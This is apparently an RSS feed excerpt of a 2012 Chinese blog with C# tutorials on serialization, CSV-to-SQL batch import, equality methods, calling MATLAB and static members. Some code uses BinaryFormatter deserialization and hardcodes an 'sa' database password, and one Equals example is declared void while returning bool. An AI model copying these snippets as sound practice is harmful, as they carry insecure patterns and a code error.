using System.Xml.Serialization;&lt;/pre&gt; 
&lt;p&gt;分贝对应文件操作，二进制序列化和xml序列化&lt;/p&gt;
&lt;p&gt;为了方便，我封装了四个静态函数，用于实现序列化和反序列化。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt; //封装二进制序列化方法
        public static void BinarySerialize(UserData user)
        {
            FileStream fs = new FileStream(&#34;user.bin&#34;, FileMode.Create);
            BinaryFormatter formater = new BinaryFormatter();
            //执行序列化
            formater.Serialize(fs, user);
            fs.Close();
        }

        //封装二进制反序列化方法
        public static UserData BinaryDeserialize()
        {
            FileStream fs = new FileStream(&#34;user.bin&#34;, FileMode.Open, FileAccess.Read, FileShare.Read);
            BinaryFormatter formater = new BinaryFormatter();
            UserData user = formater.Deserialize(fs) as UserData;
            fs.Close();
            return user;
        }

        //封装xml序列化方法
        public static void XmlSerialize(UserData user)
        {
            XmlSerializer serializer = new XmlSerializer(typeof(UserData));
            FileStream fs = new FileStream(&#34;user.xml&#34;, FileMode.Create);
            serializer.Serialize(fs, user);
            fs.Close();
        }

        //封装xml反序列化方法
        public static UserData XmlDeserialize()
        {
             XmlSerializer serializer = new XmlSerializer(typeof(UserData));
            FileStream fs = new FileStream(&#34;user.xml&#34;, FileMode.Open);
            UserData user = serializer.Deserialize(fs) as UserData;
            fs.Close();
            return user;
        }&lt;/pre&gt; 
&lt;p&gt;代码比较简单。
最后是一个简单的测试。&lt;/p&gt;</description>
    </item>
    <item>
      <title>CSV批量导入解决</title>
      <link>http://blog.leaver.me/2012/07/06/csv%E6%89%B9%E9%87%8F%E5%AF%BC%E5%85%A5%E8%A7%A3%E5%86%B3/</link>
      <pubDate>Fri, 06 Jul 2012 18:28:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/06/csv%E6%89%B9%E9%87%8F%E5%AF%BC%E5%85%A5%E8%A7%A3%E5%86%B3/</guid>
      <description>&lt;p&gt;　　最近的一个事就是那个诡异的CSV导入，后来决定用最笨的方法。就是readline，然后确实是可以正常识别了。思路就是一行行读入，然后构造sql语句，保存为sql文件，然后去批量执行sql文件。其实在codeproject找到了一些类似的工具，都有不如意的地方，但是时间关系还没能自己去定制，这件事完成后，就去完善一下大牛们的工具。&lt;/p&gt;
&lt;p&gt;　　因为是多个csv文件，每个文件对应于我们想建的一个表，实际是大约2000个csv文件，每个文件大约4000行数据，构造成对应的sql语句比较简单，需要注意的就是如果sql server表中的字段和关键字重名，那么需要加[]，比如我们有个字段是open，那么实际sql语句中使用的时候，比如&lt;/p&gt;
&lt;pre class=&#34;lang:pgsql decode:true &#34; &gt;CREATE TABLE 
(
   [open] decimal not null,
)&lt;/pre&gt; 
&lt;p&gt;　　简单的读写以后我们构造了2000个sql文件，然后我们需要执行这些sql文件。。必然需要写个代码来批量执行了。。为此，我先用C#生成一个批处理文件，然后来执行&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;void GetBat(string InputPath,string OutFile)
        {
            DirectoryInfo di = new DirectoryInfo(InputPath);
            FileInfo[] fi = di.GetFiles();  // Create an array representing the files in the current directory
            StringBuilder strtemp = new StringBuilder();
            foreach (FileInfo fiTemp in fi)
            {
                string temp = &#34;osql -S \&#34;127.0.0.1\&#34;  -U \&#34;sa\&#34; -P \&#34;broker\&#34; -d \&#34;test_money\&#34; -i \&#34;&#34;;
                temp += fiTemp.FullName.ToString() + &#34;\&#34;\n&#34;;
                strtemp.Append(temp);
            }

            FileStream fs = new FileStream(OutFile, FileMode.OpenOrCreate);
            StreamWriter sw = new StreamWriter(fs);
            sw.WriteLine(strtemp);
            sw.Close();
            fs.Close();
        }&lt;/pre&gt; 
&lt;p&gt;　　简单封装了一下，输入参数是文件夹。里面包含我们的所有sql文件。输出为一个批处理文件。。后来。执行下生成的bat文件就可以了。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;osql -S &#34;127.0.0.1&#34;  -U &#34;sa&#34; -P &#34;broker&#34; -d &#34;test_money&#34; -i &#34;D:\test\AMKR.sql&#34;
osql -S &#34;127.0.0.1&#34;  -U &#34;sa&#34; -P &#34;broker&#34; -d &#34;test_money&#34; -i &#34;D:\test\AMLJ.sql&#34;
osql -S &#34;127.0.0.1&#34;  -U &#34;sa&#34; -P &#34;broker&#34; -d &#34;test_money&#34; -i &#34;D:\test\AMLN.sql&#34;
&lt;/pre&gt; 
&lt;p&gt;600M的sql文件执行起来三个多小时。。因为只算一次，所以就不考虑优化了。。鄙视我们吧。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《Effective C#》Item 9：区别和认识四个判等函数</title>
      <link>http://blog.leaver.me/2012/07/05/effective-c%23item-9%E5%8C%BA%E5%88%AB%E5%92%8C%E8%AE%A4%E8%AF%86%E5%9B%9B%E4%B8%AA%E5%88%A4%E7%AD%89%E5%87%BD%E6%95%B0/</link>
      <pubDate>Thu, 05 Jul 2012 22:56:00 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/05/effective-c%23item-9%E5%8C%BA%E5%88%AB%E5%92%8C%E8%AE%A4%E8%AF%86%E5%9B%9B%E4%B8%AA%E5%88%A4%E7%AD%89%E5%87%BD%E6%95%B0/</guid>
      <description>&lt;p&gt;　　.Net有四个判等函数？不少人看到这个标题，会对此感到怀疑。事实上确是如此，.Net提供了ReferenceEquals、静态Equals，具体类型的Equals以及==操作符这四个判等函数。但是这四个函数之间有细微的关系，改变其中一个函数的实现会影响到其他函数的操作结果。&lt;/p&gt;
&lt;p&gt;　　首先要说的是Object.ReferenceEquals和Object.Equals这两个静态函数，对于它们俩来说，是不需要进行重写的，因为它们已经完成它们所要得做的操作。&lt;/p&gt;
&lt;p&gt;对于Object.ReferenceEquals这个静态函数，函数形式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public static bool ReferenceEquals( object left, object right );&lt;/pre&gt;
&lt;p&gt;　　这个函数就是判断两个引用类型对象是否指向同一个地址。有此说明后，就确定了它的使用范围，即只能对于引用类型操作。那么对于任何值类型数据操作，即使是与自身的判别，都会返回false。这主要因为在调用此函数的时候，值类型数据要进行装箱操作，也就是对于如下的形式来说。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;int n = 10;
Object.ReferenceEquals( n, n );&lt;/pre&gt;
&lt;p&gt;这是因为对于n这个数据装箱两次，而每次装箱后的地址有不同，而造成Object.ReferenceEquals( n, n )的结果永远为false。&lt;/p&gt;
&lt;p&gt;对于第一个判等函数来说，没有什么好扩展的，因为本身已经很好地完成了它所要做的。&lt;/p&gt;
&lt;p&gt;对于第二个Object.Equals这个静态函数，其形式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public static bool Equals( object left, object right );&lt;/pre&gt;
&lt;p&gt;　　按照书中对它的分析，其大致函数代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public static void Equals( object left, object right )
{
  // Check object identity
  if( left == right )
     return true;

// both null references handled above
if( ( left == null ) || ( right == null ) )
   return false;
  return left.Equals( right );
}&lt;/pre&gt;
&lt;p&gt;　可以说，Object.Equals这个函数完成判等操作，需要经过三个步骤，&lt;/p&gt;
&lt;p&gt;第一步是需要根据对象所属类型的==操作符的执行结果；&lt;/p&gt;
&lt;p&gt;第二步是判别是否为null，也是和第一步一样，需要根据类型的==操作符的执行结果；&lt;/p&gt;
&lt;p&gt;最后一步要使用到类型的Equals函数的执行结果。&lt;/p&gt;
&lt;p&gt;也就是说这个静态函数的返回结果，要取决于后面要提到的两个判等函数。类型是否提供相应的判等函数，成为这个函数返回结果的重要因素。&lt;/p&gt;
&lt;p&gt;　　那么对于Object.Equals这个静态方法来说，虽说接受参数的类型也属于引用类型，但是不同于Object.ReferenceEquals函数，对于如下的代码，能得出正确的结果。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;int n = 10;
Debug.WriteLine( string.Format( &#34;{0}&#34;, Object.Equals( n, n ) ) );
Debug.WriteLine( string.Format( &#34;{0}&#34;, Object.Equals( n, 10 ) ) );&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这是因为在此函数中要用到具体类型的两个判等函数，不过就函数本身而言，该做的判断都做了，因此不需要去重载添加复杂的操作。&lt;/p&gt;
&lt;p&gt;为了更好的述说剩下两个函数，先解释一下等价的意义。对于等价的意义，就是自反、对称以及传递。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;所谓自反，即a == a；&lt;/li&gt;
&lt;li&gt;而对称，是a == b，则b == a；&lt;/li&gt;
&lt;li&gt;传递是 a == b，b == c，则 a == c；
理解等价的意义后，那么在实现类型的判等函数也要满足这个等价规则。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对于可以重载的两个判等函数，首先来介绍的是类型的Equals函数，其大致形式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public override bool Equals( object right );

那么对于一个类型的Equals要做些什么操作呢，一般来说大致如下：
public class KeyData
{
private int nData;
public int Data
{
   get{ return nData;}
   set{ nData = value; }
}

public override bool Equals( object right )
{
//Check null
if( right == null )
   return false;

//check reference equality
if( object.ReferenceEquals( this, right ) )
   return true;

//check type
if( this.GetType() != right.GetType() )
   return false;

//convert to current type
  KeyData rightASKeyData = right as KeyData;

//check members value
  return this.Data == rightASKeyData.Data;
 }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>Unable to read file Data_EGCITest解决方法</title>
      <link>http://blog.leaver.me/2012/07/03/unable-to-read-file-data_egcitest%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/</link>
      <pubDate>Tue, 03 Jul 2012 19:50:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/03/unable-to-read-file-data_egcitest%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/</guid>
      <description>&lt;p&gt;　　今天做的是使用matlab进行协整检验，好吧。。听起来似乎很厉害的样子，其实，我也不太清楚协整到底是干嘛呢。不过经管的各位很给力。
想来协整检验matlab是可以做的。所以就去查matlab是不是有这个函数，结果是有的。egcitest，但是具体的参数还是景观的朋友看懂的。&lt;/p&gt;
&lt;p&gt;　　早上3点多起床，看matlab的书，然后早上看完了。基本上熟悉了matlab的操作。然后就开始写这个。大致的流程和昨天的那篇文章是一致的。但是matlab生成的dll文件在C#里面调用始终会提示这样一个错误。：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;MWMCR::EvaluateFunction error ... Error using ==&amp;gt; 
load Unable to read file Data_EGCITest: No such file or directory. Error in =&amp;gt; test.m&lt;/pre&gt;
&lt;p&gt;　　组合了几个关键字进行搜索，发现了&lt;a href=&#34;http://www.mathworks.cn/matlabcentral/answers/33037-matlab-builder-ne-exception-with-supposedly-toolbox-support&#34;&gt;这篇文章&lt;/a&gt;，翻译过来很简单。&lt;/p&gt;
&lt;p&gt;　　错误提示说的那个Data_EGCITest是一个名为Data_EGCITest.mat的文件，位于$MATLABROOT/toolbox/econ/econ/Data_EGCITest.mat目录下，$MATLABROOT指的是你matlab的安装路径。在你build 工程的时候，在下图中，记得添加这个文件。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/24000_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9f98cf04debe57b3ec360a6b3ae27c8995579770.jpg&#34; title=&#34;操作&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　然后build生成的dll文件就可以正常在C#里使用了。&lt;/p&gt;
&lt;p&gt;　　中间走了很多弯路。因为我想既然matlab都编译生成了dll，那么dll应该没问题。然后我就把精力放在了C#那边。。结果后来折腾了很长时间，才发现是这边的问题。。坑爹。。&lt;/p&gt;
&lt;p&gt;　　协整检验的代码就不发了。和题目没关系。。
参考：
　　&lt;a href=&#34;http://www.mathworks.cn/help/toolbox/econ/egcitest.html&#34;&gt;http://www.mathworks.cn/help/toolbox/econ/egcitest.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#调用MatLab实现N阶幻方</title>
      <link>http://blog.leaver.me/2012/07/02/c%23%E8%B0%83%E7%94%A8matlab%E5%AE%9E%E7%8E%B0n%E9%98%B6%E5%B9%BB%E6%96%B9/</link>
      <pubDate>Mon, 02 Jul 2012 18:39:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/02/c%23%E8%B0%83%E7%94%A8matlab%E5%AE%9E%E7%8E%B0n%E9%98%B6%E5%B9%BB%E6%96%B9/</guid>
      <description>&lt;p&gt;　　MatLab的计算能力太强大了。最近需要通过C#来调用MatLab来进行一些计算，可是MatLab没用过。安装文件在我硬盘里躺了整整一年。&lt;/p&gt;
&lt;p&gt;　　我们希望的是由外部程序调用MatLab函数。所以。希望可以完全脱离MATLAB环境，实现软件的快速开发。为此需要先介绍一下MCR。&lt;/p&gt;
&lt;h3 id=&#34;mcr简介&#34;&gt;MCR简介&lt;/h3&gt;
&lt;p&gt;　　 MCR的全称是MATLAB Compiler Runtime，即MATLAB编译器运行时。是一个由MATLAB共享类库构成的执行引擎，他能够使MATLAB文件在没有MATLAB的机器上运行。这一点和.NET Framework相对于.NET程序一样，即为程序的运行提供了底层支持。当发布程序的时候，需要将MCR也打包进来，这样没有MATLAB的机器上也能执行，MCR随MATLAB软件一同发布，可以在MATLAB中输入命令“mcr”或者“mcrinstaller”获取其保存路径：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;&amp;gt;&amp;gt; mcr
The WIN32 MCR Installer, version 7.15, is:
    D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\win32\MCRInstaller.exe

MCR installers for other platforms are located in:
    D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\&amp;lt;ARCH&amp;gt;
  &amp;lt;ARCH&amp;gt; is the value of COMPUTER(&#39;arch&#39;) on the target machine.

Full list of available MCR installers:
D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\win32\MCRInstaller.exe

For more information, read your local MCR Installer help.
Or see the online documentation at MathWorks&#39; web site. (Page may load slowly.)&lt;/pre&gt; 
&lt;p&gt;　　根据上面的运行结果，可知该文件的完整路径是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;D:\Program Files\MATLAB\R2011a\toolbox\compiler\deploy\win32\MCRInstaller.exe&lt;/pre&gt; 
&lt;h3 id=&#34;mwarray-api简介&#34;&gt;MWArray API简介&lt;/h3&gt;
&lt;p&gt;　MCR包含了文件MWArray.dll，该文件中的API承担了用户程序和MCR之间数据交换的任务，因此，每一个独立文件都需要包含对该文件的引用，否则程序就不能使用MATLAB中的函数，为使用该文件，需要先使用上一步找到的安装MCR，我安装在D:\Program Files\MATLAB\MATLAB Compiler Runtime目录，然后该dll该文件在安装完MCR后位于：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;D:\Program Files\MATLAB\MATLAB Compiler Runtime\v715\toolbox\dotnetbuilder\bin\win32\v2.0，名字是MWArray.dll，&lt;/pre&gt; 
&lt;p&gt;　　另外，该文件中有两个重要的命名空间，MathWorks.MATLAB.NET.Arrays和MathWorks.MATLAB.NET.Utility，Arrays命名空间下的类提供从其他任何兼容CLS（Common Language Specification） 语言访问MATLAB中数组的功能，这些类支持数组格式化、类型的特定索引和错误处理的功能。而Utility命名空间下的类提供了对MWArray类架构和MATLAB公共运行时的托管API的通用支持。&lt;/p&gt;
&lt;h3 id=&#34;实施&#34;&gt;实施&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;为了将MATLAB中的程序作为组件提供给其他.NET程序使用，需要做两方面的工作：&lt;/p&gt;
&lt;p&gt;1.将M文件打包为与.NET兼容的程序集&lt;/p&gt;
&lt;p&gt;2.在外部程序中添加对程序集的引用&lt;/p&gt;
&lt;h3 id=&#34;matlab端的工作&#34;&gt;MATLAB端的工作&lt;/h3&gt;
&lt;p&gt;　　以我这个功能为例。打开MatLab，然后File-&amp;gt;New-&amp;gt;Deployment Project.然后在Type里选择.net Assembly,Ok即可。我选择的工程名是test，注意，这个test就会生成一个名为test.dll的程序集，所以起个好名字，，我没起好。如图1
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23964_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/494daca0321a65539ea6b2c7d6d3155345c3c32d.jpg&#34; title=&#34;start&#34;&gt;&lt;/a&gt;
　　然后在图2的视图中定位到你选择的工程目录，并依次点击。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23966_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b2e74076bfe76e6aeac6b3b7365668d2f23431fe.jpg&#34; title=&#34;step&#34;&gt;&lt;/a&gt;
　　添加一个test.m的文件。图3
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23965_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/110d97e0942789e04445dd3d3eee89873c49de11.jpg&#34; title=&#34;test&#34;&gt;&lt;/a&gt;这个名称随意。但是要注意，这个名字必须和你里面将要写的那个函数名称一致，这个很好理解。好了以后，双击test.m就会打开。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;function m=test(n)
m=magic(n);
end&lt;/pre&gt; 
&lt;p&gt;　　创建一个test方法。该方法在C#调用的时候要用到，接受一个参数，然后输出一个幻方。保存关闭m文件，然后回到上图，双击test.prj也就是工程文件。
来到图4
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23967_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5ab49b4504bc1aba33d62b3c2cfbf897656c751d.jpg&#34; title=&#34;add&#34;&gt;&lt;/a&gt;
　　点击Add Class，就是向test.dll的程序集中添加类。我添加了一个类叫做Func1.这个类用来在C#中创建一个对象，然后调用test（n）这个函数，然后出现Add Files，点击打开浏览框，把刚才写好的test.m选上。就可以了
　　最后看窗口右上角，，点击那个build图标就ok，等个几分钟，就会在目录里生成test.dll文件了。图5
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23968_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4e21f5823ece422097e73e2321e43b3b09a2cb7a.jpg&#34; title=&#34;build&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;vs端的代码&#34;&gt;VS端的代码&lt;/h3&gt;
&lt;p&gt;　　现在，打开vs，创建C#工程，添加两个引用，分别是MWArray.dll和test.dll，添加引用的方法就是在解决方案资源管理器中，的引用上，点击，然后添加引用-&amp;gt;浏览-&amp;gt;找到这两个dll，为了方便，我一般会把这两个dll复制到我的C#工程目录里，然后添加引用，如前面所说，MWArray.dll里有两个命名空间，我们使用using语句都添加上。也包括生成的test.dll&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using test;
using MathWorks.MATLAB.NET.Arrays;
using MathWorks.MATLAB.NET.Utility;&lt;/pre&gt; 
&lt;p&gt;　　然后设计C#界面，很简单的拖一个界面，图6
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23969_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/07a97d0fe021665574597469b813e53dc6b48677.jpg&#34; title=&#34;ui&#34;&gt;&lt;/a&gt;
　　然后单击事件代码：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;            Func1 f = new Func1(); 
            MWNumericArray na = null;
            MWArray[] ansArray = null; 
            int i = Convert.ToInt16(textBox1.Text); 
            ansArray = f.test(1, i); 
            na = (MWNumericArray)ansArray[0];//只有一个数组返回
            MessageBox.Show(na.ToString());&lt;/pre&gt; 
&lt;p&gt;　　看到test有两个参数，第一个参数是指返回结果书，我们只需要一个就好了。所以为1，后面那个是阶数了。运行结果如图7：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23970_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/891d04e30b4742ae3ca5b851d5fc379cc3d10950.jpg&#34; title=&#34;result&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的静态与非静态</title>
      <link>http://blog.leaver.me/2012/07/02/c%23%E4%B8%AD%E7%9A%84%E9%9D%99%E6%80%81%E4%B8%8E%E9%9D%9E%E9%9D%99%E6%80%81/</link>
      <pubDate>Mon, 02 Jul 2012 05:30:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/02/c%23%E4%B8%AD%E7%9A%84%E9%9D%99%E6%80%81%E4%B8%8E%E9%9D%9E%E9%9D%99%E6%80%81/</guid>
      <description>&lt;h3 id=&#34;为什么要分静态和非静态&#34;&gt;为什么要分静态和非静态&lt;/h3&gt;
&lt;p&gt;在面向对象的世界里，大部分的情况都是实例特征主宰天下，类相当于一个类型模板，而对象则是类特征的拷贝，并且独立于其他对象来操作这些特征，但是在某些情况下，需要某些特征被所有的对象共公有，因此有必要实现一种基于类的特征，而不是基于实例对象的特征机制，这就是静态特征。&lt;/p&gt;
&lt;h3 id=&#34;1静态类和非静态类&#34;&gt;1.静态类和非静态类&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;一个类如果包含静态成员和静态方法，那么该类就可以定义为静态类，定义方法是在类定义前加上static，比如&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;static class MyClass
{
//define the class
}&lt;/pre&gt; 
&lt;h3 id=&#34;比较&#34;&gt;比较：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;静态类只能包含静态成员和静态方法，否则会抛出编译错误，而非静态类既可以包含非静态成员和非静态方法，还可以包含静态成员和静态方法。但不能作用于静态只读字段。&lt;/li&gt;
&lt;li&gt;静态类不可实例化，非静态类可以实例化，不管是静态类还是非静态类，对静态成员和静态方法的调用都必须通过类来实现访问。&lt;/li&gt;
&lt;li&gt;相对于非静态类来说，静态类有一些特点值得应用，比如System.Console这个典型的静态类。&lt;/li&gt;
&lt;li&gt;如果一个类只包含静态成员和静态方法，就应该将该类标记为static，并提供私有的构造函数来避免用户实例创建对象，这也是MonoState模式的体现。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3 id=&#34;2静态构造函数和实例构造函数&#34;&gt;2.静态构造函数和实例构造函数&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;静态构造函数，&lt;strong&gt;只能&lt;/strong&gt;用于初始化类中的静态成员，包括静态字段和静态属性，静态构造函数不能带参数，不能有访问修饰符也不能被手工调用，通过是在.net运行库第一次调用类成员之前执行。其中，实例构造函数中也是可以初始化静态成员的。&lt;/p&gt;
&lt;h3 id=&#34;比较-1&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;静态构造函数，可以和无参的构造函数共存。虽然参数列表相同，但是二者的执行顺序不同，静态构造函数在运行库加载类时执行，而实例构造函数在实例创建时执行。&lt;/li&gt;
&lt;li&gt;静态构造函数，只能对静态成员进行初始化操作，不能作用于非静态成员，而实例构造函数二者都可以，当然如前面所说，对静态只读字段就不可以了。&lt;/li&gt;
&lt;li&gt;静态构造函数只被执行一次，而且.net运行库也不知道什么时候会被执行，而实例构造函数可以在多次实例创建时被执行多次。&lt;/li&gt;
&lt;li&gt;一个类只能有一个静态构造函数，但是可以有多个实例构造函数。&lt;/li&gt;
&lt;li&gt;一般来说，简单的静态成员可以在声明时就进行初始化，而复杂的静态成员则选择在静态构造函数中进行初始化较佳。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3 id=&#34;3静态成员和实例成员&#34;&gt;3.静态成员和实例成员&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;静态成员主要包括静态字段和静态属性，静态成员可以实现在类中能够被所有实例对象共享的数据。例如一个缴费登记系统中，消费总额作为所以消费的综合，静态成员来实现就有很好。没有不必要的数据冗余。&lt;/p&gt;
&lt;h3 id=&#34;比较-2&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;静态成员包括静态字段和静态属性，静态字段一般实现为private，而静态属性一般为public，以体现类的封装原则。&lt;/li&gt;
&lt;li&gt;静态成员和类关联，不依赖对象存在，只能由类访问，而不能由对象访问，实例成员和具体的对象关联，只能由对象访问，不能由类访问。&lt;/li&gt;
&lt;li&gt;静态成员属于类所有，不论创建多少个实例对象，静态成员在内存中只有一份，实例成员属于对象实例所有，每个都有其对应的内存区域。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;4静态方法和实例方法&#34;&gt;4.静态方法和实例方法&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;类似于静态成员共享数据段，静态方法共享代码段，静态方法以static标识。&lt;/p&gt;
&lt;h3 id=&#34;比较-3&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;性能上，静态方法和实例方法差别不大，所有方法，不管是静态的还是非静态的，都是在JIT加载类时分配内存，不同的是静态方法以类名引用，而静态方法以对象引用，创建实例时，不会再为类的方法分配内存，所有的实例对象公用一个类的方法代码，因此，静态方法和实例方法的调用，区别仅在于实例方法需要当前对象指针指向该方法，而静态方法可以直接调用，性能上差异微乎其微。&lt;/li&gt;
&lt;li&gt;静态方法只能访问静态成员和静态方法，可以间接通过创建实例对象来访问实例成员和实例方法，而实例方法可以直接全部。。&lt;/li&gt;
&lt;li&gt;静态方法只能由类来访问，实例方法只能由对象来访问。&lt;/li&gt;
&lt;li&gt;静态方法中不能使用this关键字，否则编译错误，而实例方法中可以引用。&lt;/li&gt;
&lt;li&gt;静态方法不能被标记为virtual，abstract或是override，静态方法可以被派生类访问，但是不能被覆写。&lt;/li&gt;
&lt;li&gt;Main方法是静态的，因此Main方法不能直接访问Main所在类的实例方法和成员。&lt;/li&gt;
&lt;li&gt;鉴于线程处理的安全性，应该避免提供改变静态状态的静态方法，因为，如果多线程同时访问该段代码，可能造成线程处理错误，因此，静态状态必须是线程安全的。&lt;/li&gt;
&lt;li&gt;静态方法适合系统中边缘性的非业务需要，例如通用的工具类。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>C＃中的is和as</title>
      <link>http://blog.leaver.me/2012/07/01/c%E4%B8%AD%E7%9A%84is%E5%92%8Cas/</link>
      <pubDate>Sun, 01 Jul 2012 05:52:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/01/c%E4%B8%AD%E7%9A%84is%E5%92%8Cas/</guid>
      <description>&lt;p&gt;is和as都是用作类型转换的，类型转换包括显示转换和隐式转换，在.NET中类型转换的基本规则如下：&lt;/p&gt;
&lt;h3 id=&#34;基本规则&#34;&gt;基本规则&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;任何类型都可以安全的转换为其基类类型，可以由隐式转换来完成；&lt;/li&gt;
&lt;li&gt;任何类型转换为其派生类型时，必须进行显示转换，转换的规则是：（类型名）对象名；&lt;/li&gt;
&lt;li&gt;使用GetType可以取得任何对象的精确类型；&lt;/li&gt;
&lt;li&gt;基本类型可以使用Covert类实现类型转换；&lt;/li&gt;
&lt;li&gt;除了string以外的其他类型都有Parse方法，用于将字符串类型转换为对应的基本类型；&lt;/li&gt;
&lt;li&gt;值类型和引用类型的转换机制称为装箱（boxing）和拆箱（unboxing）。
is和as操作符，是C#中用于类型转换的，提供了对类型兼容性的判断，从而使得类型转换控制在安全的范畴，提供了灵活的类型转换控制。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;is的模式如下&#34;&gt;is的模式如下：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;检查对象类型的兼容性，并返回结果，true或者false；&lt;/li&gt;
&lt;li&gt;不会抛出异常；&lt;/li&gt;
&lt;li&gt;如果对象为null，则返回值永远为false。
使用很简单，用于条件判断中.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;举例：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;object o=new object();
if(o is ISSsample)
 {
    //转换
    ISSample a =(ISSample)o;
 }&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h3 id=&#34;as的模式如下&#34;&gt;as的模式如下：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;检查对象类型的兼容性，并返回转换结果，如果不兼容就返回null；&lt;/li&gt;
&lt;li&gt;不会抛出异常；&lt;/li&gt;
&lt;li&gt;如果结果判断为空，则强制执行类型转换将抛出NullReferenceException异常。&lt;/li&gt;
&lt;li&gt;as必须和引用类型一起使用&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;举例：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;object o =new object();
ASSample a=o as ASSample;
if(a!=null)
 //do some work&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
